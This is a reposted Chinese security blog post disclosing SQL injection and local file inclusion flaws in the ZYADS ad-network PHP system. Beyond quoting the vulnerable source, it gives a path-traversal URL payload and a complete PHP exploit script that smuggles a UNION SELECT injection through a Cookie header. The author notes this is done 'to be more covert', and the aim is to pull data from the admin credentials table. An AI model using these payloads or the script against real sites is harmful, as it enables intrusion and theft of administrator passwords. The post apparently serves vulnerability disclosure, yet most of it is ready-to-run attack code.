中易广告联盟系统(ZYADS) sql注入和本地包含漏洞 's

admin 2017年5月6日15:39:15评论612 views字数 2950阅读9分50秒阅读模式
摘要

作者:q1ur3n在index/news.php 1-31行
可以看到$to_type没定义或者不等于index,webuser,webadver的话 那么$to_type_s是没有定义的

作者:q1ur3n

在index/news.php 1-31行

<? include_once("top.php");        $newsid = intval($_GET['id']);        $to_type = addslashes($_GET['type']);        if ($to_type=='index')       {           $to_type_s =" and to_type=1";       }         if ($to_type=='webuser')       {           $to_type_s =" and to_type!=3";       }         if ($to_type=='webadver')       {           $to_type_s =" and to_type!=2";       }        $newssql = 'select * from zyads_news WHERE `id` =/'' . $newsid . '/'   '.$to_type_s.'';        $newsre=$db->query($newssql);       $newsrow = $db->fetch_array($newsre);       if (empty($newsrow)){          zyads_message('zyads_news');       } ?>

可以看到$to_type没定义或者不等于index,webuser,webadver的话 那么$to_type_s是没有定义的

这时候我们就可以提交一个$to_type_s变量来进行sql注入。简单的注入,呵呵。

在/code/adview_cpa_html.php 1-46行

<?php /*********************/ /*                   */ /*  Version : 5.1.0  */ /*  Author  : RM     */ /*  Comment : 071223 */ /*                   */ /*********************/  _obfuscate_JQYdYn1jfBI( ); define( "IN_ZYADS", TRUE ); $name = $_GET['name']; $adid = $_GET['adid']; $offsetwidth = $_GET['offsetwidth']; $site = $_GET['site']; $click_url = "http://www.erzhi.cn"; $count_url = "http://www.erzhi.cn"; if ( empty( $name ) || empty( $adid ) || empty( $site ) ) {         exit( "广告出错" ); } @require( "../user/c/".$name."/user_info.php" ); require( "../include/soft_class.php" ); require( "../include/settings.php" ); $code = new _obfuscate_Y2xpZW50( ); $getip = $code->_obfuscate_Z2V0aXA( ); $getbrowse = $code->_obfuscate_Z2V0YnJvd3Nl( ); $getos = $code->_obfuscate_Z2V0b3M( ); $maketime = time( ) + $setting['zyads_date'] * 3600; $maketime = $maketime; $strbas = $code->_obfuscate_cGFzc3BvcnRfZW5jcnlwdA(   $getip."|".$maketime."|".$getbrowse."|".$getos, $setting['url_pwd'] ); $strbas = _obfuscate_IGI7aGd_LDRuMD0VZg( $strbas ); if ( $zyads_users['flag'] != 2 ) {         echo "document.write('帐号被锁定');";         exit( ); } if ( _obfuscate_Cx96BhhwZxABPA8( "../cache/cpa/".$adid.".php" ) ) {         require( "../cache/cpa/".$adid.".php" ); } else {         exit( "文件丢失-".$adid.".php" ); }

$name,$adid这两个变量都能造成本地包含漏洞

不过$adid好利用点。

exp:/code/adview_cpa_html.php?name=admin&adid=../../index&site=www.xxx.com

最后附上一个exp,只是简单的cookie提交参数  为了隐蔽点 呵呵

<?php //by q1ur3n //team: http://www.wolvez.org //exp : zyads.php?site=www.tx8688.com&id=and 1=2 union select 1,2,3,4,5,6%23 //敏感信息表信息: /* DROP TABLE IF EXISTS zyads_admin; CREATE TABLE zyads_admin (    id int(11) NOT NULL auto_increment,    username varchar(20) NOT NULL,    pwd varchar(50) NOT NULL,    login_num int(11) NOT NULL,    last_time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,    islock int(1) NOT NULL,    ip varchar(20) NOT NULL,    admin_flag varchar(200) NOT NULL,    addtime datetime NOT NULL,    PRIMARY KEY (id) );  */  $host = $_GET['site']; $cmd='to_type_s='.urlencode(stripcslashes($_REQUEST["id"]));  $message = "GET /index/news.php?id=89  HTTP/1.1/r/n"; $message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-  shockwave-flash, */*/r/n"; $message .= "Referer: http://www.baidu.com//r/n"; $message .= "Accept-Language: zh-cn/r/n"; $message .= "Content-Type: application/x-www-form-urlencoded/r/n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)/r/n"; $message .= "Host: $host/r/n"; $message .= "Connection: Close/r/n"; $message .= "Cookie: ".$cmd."/r/n/r/n"; //echo $message;  $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); echo $resp; fclose($fp);  ?>

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月6日15:39:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中易广告联盟系统(ZYADS) sql注入和本地包含漏洞 'shttps://cn-sec.com/archives/44982.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息